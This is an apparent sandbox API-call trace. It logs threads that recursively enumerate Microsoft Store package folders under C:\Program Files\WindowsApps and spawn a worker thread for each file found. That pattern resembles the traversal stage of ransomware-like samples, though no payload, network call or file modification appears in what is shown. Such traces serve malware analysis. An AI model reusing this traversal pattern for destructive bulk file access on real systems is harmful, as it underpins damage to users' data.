	[0093.614] FindNextFileW (in: hFindFile=0x2d70fc0, lpFindFileData=0x2e142f8 | out: lpFindFileData=0x2e142f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa57d3c26, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xafabc4b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa57d3c26, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxMetadata", cAlternateFileName="APPXME~1")) returned 1
	[0093.614] wcscmp (_String1="AppxMetadata", _String2=".") returned 1
	[0093.614] wcscmp (_String1="AppxMetadata", _String2="..") returned 1
	[0093.614] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd4) returned 0x4fcdd38
	[0093.614] wcscpy (in: _Dest=0x4fcdd38, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe"
	[0093.614] wcscat (in: _Dest=0x4fcdd38, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe\\"
	[0093.614] wcscat (in: _Dest=0x4fcdd38, _Source="AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata"
	[0093.614] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4fcdd38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd74
	[0093.615] FindNextFileW (in: hFindFile=0x2d70fc0, lpFindFileData=0x2e142f8 | out: lpFindFileData=0x2e142f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa594e361, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xa594e361, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xa594e361, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x2f57, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0093.615] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0093.615] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0093.615] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xde) returned 0x4e33e70
	[0093.615] wcscpy (in: _Dest=0x4e33e70, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe"
	[0093.615] wcscat (in: _Dest=0x4e33e70, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe\\"
	[0093.615] wcscat (in: _Dest=0x4e33e70, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x"
	[0093.615] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4e33e70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12f8
	[0093.616] FindNextFileW (in: hFindFile=0x2d70fc0, lpFindFileData=0x2e142f8 | out: lpFindFileData=0x2e142f8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6e60bed5, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xafabcf70, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6e60bed5, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0093.616] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0093.616] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0093.616] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfe) returned 0x5028320
	[0093.616] wcscpy (in: _Dest=0x5028320, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe"
	[0093.616] wcscat (in: _Dest=0x5028320, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe\\"
	[0093.616] wcscat (in: _Dest=0x5028320, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0093.616] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x5028320, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10f8
	[0093.617] FindNextFileW (in: hFindFile=0x2d70fc0, lpFindFileData=0x2e142f8 | out: lpFindFileData=0x2e142f8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6e60bed5, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xafabcf70, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6e60bed5, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 0
	[0093.617] FindClose (in: hFindFile=0x2d70fc0 | out: hFindFile=0x2d70fc0) returned 1
	[0093.617] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e142f8) returned 1
	[0093.617] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476f808) returned 1
	[0093.617] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476d350) returned 1

Thread:
	id = 827
	os_tid = 0x51c

	[0079.729] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xce) returned 0x477d1d8
	[0079.729] wcscpy (in: _Dest=0x477d1d8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0079.729] wcscat (in: _Dest=0x477d1d8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0079.729] wcscat (in: _Dest=0x477d1d8, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_split.scale-100_8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_split.scale-100_8wekyb3d8bbwe\\*"
	[0079.729] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2e147c8
	[0079.729] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_split.scale-100_8wekyb3d8bbwe\\*", lpFindFileData=0x2e147c8 | out: lpFindFileData=0x2e147c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ef508f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xd45db281, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xd45db281, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d71240
	[0079.729] wcscmp (_String1=".", _String2=".") returned 0
	[0079.729] FindNextFileW (in: hFindFile=0x2d71240, lpFindFileData=0x2e147c8 | out: lpFindFileData=0x2e147c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ef508f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xd45db281, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xd45db281, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.729] wcscmp (_String1="..", _String2=".") returned 1
	[0079.729] wcscmp (_String1="..", _String2="..") returned 0
	[0079.730] FindNextFileW (in: hFindFile=0x2d71240, lpFindFileData=0x2e147c8 | out: lpFindFileData=0x2e147c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f8d9fd, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x1fd9eb9, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x1fd9eb9, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x104e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0079.730] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0079.730] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0079.730] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xec) returned 0x4752b18
	[0079.730] wcscpy (in: _Dest=0x4752b18, _Source="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0079.730] wcscat (in: _Dest=0x4752b18, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0079.730] wcscat (in: _Dest=0x4752b18, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0093.606] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4752b18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12fc
	[0093.606] FindNextFileW (in: hFindFile=0x2d71240, lpFindFileData=0x2e147c8 | out: lpFindFileData=0x2e147c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ef508f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x1f8d9fd, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x1f8d9fd, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x34b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxManifest.xml", cAlternateFileName="")) returned 1
	[0093.607] wcscmp (_String1="AppxManifest.xml", _String2=".") returned 1
	[0093.607] wcscmp (_String1="AppxManifest.xml", _String2="..") returned 1
	[0093.607] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xec) returned 0x491ba28
	[0093.607] wcscpy (in: _Dest=0x491ba28, _Source="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0093.607] wcscat (in: _Dest=0x491ba28, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0093.607] wcscat (in: _Dest=0x491ba28, _Source="AppxManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxManifest.xml"
	[0093.607] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x491ba28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x110c
	[0093.607] FindNextFileW (in: hFindFile=0x2d71240, lpFindFileData=0x2e147c8 | out: lpFindFileData=0x2e147c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1fd9eb9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2000117, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2000117, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x296e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0093.607] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0093.607] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0093.607] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xee) returned 0x491cb98
	[0093.607] wcscpy (in: _Dest=0x491cb98, _Source="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0093.607] wcscat (in: _Dest=0x491cb98, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0093.607] wcscat (in: _Dest=0x491cb98, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxSignature.p7x"
	[0093.607] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x491cb98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1108
	[0093.608] FindNextFileW (in: hFindFile=0x2d71240, lpFindFileData=0x2e147c8 | out: lpFindFileData=0x2e147c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2000117, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xafabf4fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x21c9d54, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assets", cAlternateFileName="")) returned 1
	[0093.608] wcscmp (_String1="Assets", _String2=".") returned 1
	[0093.608] wcscmp (_String1="Assets", _String2="..") returned 1
	[0093.608] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd8) returned 0x2e447c0
	[0093.608] wcscpy (in: _Dest=0x2e447c0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0093.608] wcscat (in: _Dest=0x2e447c0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0093.608] wcscat (in: _Dest=0x2e447c0, _Source="Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0093.608] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2e447c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1104
	[0093.610] FindNextFileW (in: hFindFile=0x2d71240, lpFindFileData=0x2e147c8 | out: lpFindFileData=0x2e147c8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd45db281, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xd45db281, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xd45db281, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0093.610] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0093.610] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0093.610] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x10e) returned 0x2d88ff0
	[0093.610] wcscpy (in: _Dest=0x2d88ff0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0093.610] wcscat (in: _Dest=0x2d88ff0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0093.610] wcscat (in: _Dest=0x2d88ff0, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_split.scale-100_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_split.scale-100_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0093.610] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d88ff0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1100
	[0093.611] FindNextFileW (in: hFindFile=0x2d71240, lpFindFileData=0x2e147c8 | out: lpFindFileData=0x2e147c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21effad, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2216207, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2216207, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x9f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pri", cAlternateFileName="")) returned 1
	[0093.611] wcscmp (_String1="resources.pri", _String2=".") returned 1
	[0093.611] wcscmp (_String1="resources.pri", _String2="..") returned 1
	[0093.611] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe6) returned 0x491e258
	[0093.611] wcscpy (in: _Dest=0x491e258, _Source="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0093.611] wcscat (in: _Dest=0x491e258, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0093.611] wcscat (in: _Dest=0x491e258, _Source="resources.pri" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_split.scale-100_8wekyb3d8bbwe\\resources.pri") returned="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_split.scale-100_8wekyb3d8bbwe\\resources.pri"
	[0093.611] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x491e258, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10fc
	[0093.611] FindNextFileW (in: hFindFile=0x2d71240, lpFindFileData=0x2e147c8 | out: lpFindFileData=0x2e147c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21effad, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2216207, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2216207, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x9f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pri", cAlternateFileName="")) returned 0
	[0093.611] FindClose (in: hFindFile=0x2d71240 | out: hFindFile=0x2d71240) returned 1
	[0093.612] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e147c8) returned 1
	[0093.612] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477d1d8) returned 1
	[0093.612] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477c020) returned 1

Thread:
	id = 828
	os_tid = 0xd48

	[0079.730] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb2) returned 0x476a7a8
	[0079.730] wcscpy (in: _Dest=0x476a7a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_~_8wekyb3d8bbwe"
	[0079.730] wcscat (in: _Dest=0x476a7a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_~_8wekyb3d8bbwe\\"
	[0079.730] wcscat (in: _Dest=0x476a7a8, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_~_8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_~_8wekyb3d8bbwe\\*"
	[0079.730] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2e164a8
	[0079.730] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_~_8wekyb3d8bbwe\\*", lpFindFileData=0x2e164a8 | out: lpFindFileData=0x2e164a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4f76a4, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xd45db281, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xd45db281, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d71280
	[0079.732] wcscmp (_String1=".", _String2=".") returned 0
	[0079.732] FindNextFileW (in: hFindFile=0x2d71280, lpFindFileData=0x2e164a8 | out: lpFindFileData=0x2e164a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4f76a4, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xd45db281, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xd45db281, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.732] wcscmp (_String1="..", _String2=".") returned 1
	[0079.732] wcscmp (_String1="..", _String2="..") returned 0
	[0079.732] FindNextFileW (in: hFindFile=0x2d71280, lpFindFileData=0x2e164a8 | out: lpFindFileData=0x2e164a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f76a4, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x4f76a4, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x4f76a4, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x154, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0079.732] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0079.732] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
